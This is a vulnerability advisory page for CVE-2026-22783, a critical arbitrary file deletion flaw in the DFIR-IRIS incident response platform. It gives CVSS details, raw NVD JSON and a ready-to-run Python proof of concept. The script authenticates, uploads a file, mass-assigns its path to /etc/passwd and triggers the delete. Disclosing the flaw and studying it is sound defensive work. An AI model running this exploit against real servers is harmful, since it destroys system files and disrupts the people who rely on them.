Security Vulnerability Report
中文
CVE-2026-22783 CVSS 9.6 CRITICAL

CVE-2026-22783

Published: 2026-01-12 19:16:04
Last Modified: 2026-01-16 18:42:18

Description

Iris is a web collaborative platform that helps incident responders share technical details during investigations. Prior to 2.4.24, the DFIR-IRIS datastore file management system has a vulnerability where mass assignment of the file_local_name field combined with path trust in the delete operation enables authenticated users to delete arbitrary filesystem paths. The vulnerability manifests through a three-step attack chain: authenticated users upload a file to the datastore, update the file's file_local_name field to point to an arbitrary filesystem path through mass assignment, then trigger the delete operation which removes the target file without path validation. This vulnerability is fixed in 2.4.24.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:dfir-iris:iris:*:*:*:*:*:*:*:* - VULNERABLE
DFIR-IRIS < 2.4.24

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-22783 DFIR-IRIS Arbitrary File Delete PoC This PoC demonstrates the mass assignment vulnerability in DFIR-IRIS that allows authenticated users to delete arbitrary files. """ import requests import json import sys TARGET_URL = "http://target-iris-server.com" USERNAME = "[email protected]" PASSWORD = "password123" TARGET_FILE_TO_DELETE = "/etc/passwd" # Target file to delete def get_auth_token(): """Authenticate and get session token""" login_url = f"{TARGET_URL}/login" data = { "user_name": USERNAME, "user_password": PASSWORD } response = requests.post(login_url, json=data) if response.status_code == 200: return response.cookies return None def upload_file(session_cookies): """Step 1: Upload a legitimate file to datastore""" upload_url = f"{TARGET_URL}/datastore/upload" files = {'file': ('test.txt', b'test content', 'text/plain')} response = requests.post(upload_url, files=files, cookies=session_cookies) if response.status_code == 200: data = response.json() return data.get('file_id') return None def mass_assign_path(session_cookies, file_id, target_path): """Step 2: Update file_local_name via mass assignment""" update_url = f"{TARGET_URL}/datastore/file/{file_id}" payload = { "file_local_name": target_path, "operation_type": "update" } headers = {'Content-Type': 'application/json'} response = requests.patch(update_url, json=payload, headers=headers, cookies=session_cookies) return response.status_code == 200 def delete_file(session_cookies, file_id): """Step 3: Trigger delete operation to delete arbitrary path""" delete_url = f"{TARGET_URL}/datastore/file/{file_id}/delete" response = requests.delete(delete_url, cookies=session_cookies) return response.status_code == 200 def main(): print(f"[*] CVE-2026-22783 PoC for DFIR-IRIS Arbitrary File Delete") print(f"[*] Target: {TARGET_URL}") print(f"[*] Target file to delete: {TARGET_FILE_TO_DELETE}") # Step 1: Authenticate print("\n[Step 1] Authenticating...") session = get_auth_token() if not session: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Upload file print("\n[Step 2] Uploading file to datastore...") file_id = upload_file(session) if not file_id: print("[-] File upload failed") sys.exit(1) print(f"[+] File uploaded successfully, file_id: {file_id}") # Step 3: Mass assign arbitrary path print(f"\n[Step 3] Mass assigning file_local_name to {TARGET_FILE_TO_DELETE}...") if mass_assign_path(session, file_id, TARGET_FILE_TO_DELETE): print("[+] Mass assignment successful") else: print("[-] Mass assignment failed") sys.exit(1) # Step 4: Delete file (triggers arbitrary file deletion) print("\n[Step 4] Triggering delete operation...") if delete_file(session, file_id): print(f"[+] Arbitrary file deletion triggered: {TARGET_FILE_TO_DELETE}") else: print("[-] Delete operation failed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22783", "sourceIdentifier": "[email protected]", "published": "2026-01-12T19:16:03.953", "lastModified": "2026-01-16T18:42:18.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Iris is a web collaborative platform that helps incident responders share technical details during investigations. Prior to 2.4.24, the DFIR-IRIS datastore file management system has a vulnerability where mass assignment of the file_local_name field combined with path trust in the delete operation enables authenticated users to delete arbitrary filesystem paths. The vulnerability manifests through a three-step attack chain: authenticated users upload a file to the datastore, update the file's file_local_name field to point to an arbitrary filesystem path through mass assignment, then trigger the delete operation which removes the target file without path validation. This vulnerability is fixed in 2.4.24."}, {"lang": "es", "value": "Iris es una plataforma web colaborativa que ayuda a los respondedores de incidentes a compartir detalles técnicos durante las investigaciones. Antes de la versión 2.4.24, el sistema de gestión de archivos del almacén de datos de DFIR-IRIS tiene una vulnerabilidad donde la asignación masiva del campo file_local_name combinada con la confianza en la ruta en la operación de eliminación permite a los usuarios autenticados eliminar rutas arbitrarias del sistema de archivos. La vulnerabilidad se manifiesta a través de una cadena de ataque de tres pasos: los usuarios autenticados suben un archivo al almacén de datos, actualizan el campo file_local_name del archivo para que apunte a una ruta arbitraria del sistema de archivos mediante asignación masiva, luego activan la operación de eliminación que elimina el archivo objetivo sin validación de ruta. Esta vulnerabilidad está corregida en la versión 2.4.24."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-73"}, {"lang": "en", "value": "CWE-434"}, {"lang": "en", "value": "CWE-915"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dfir-iris:iris:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.24", "matchCriteriaId": "310FB345-E2F3-475A-BC31-842B72778138"}]}]}], "references": [{"url": "https://github.com/dfir-iris/iris-web/commit/57c1b80494bac187893aebc6d9df1ce6e56485b7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/dfir-iris/iris-web/security/advisories/GHSA-qhqj-8qw6-wp8v", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}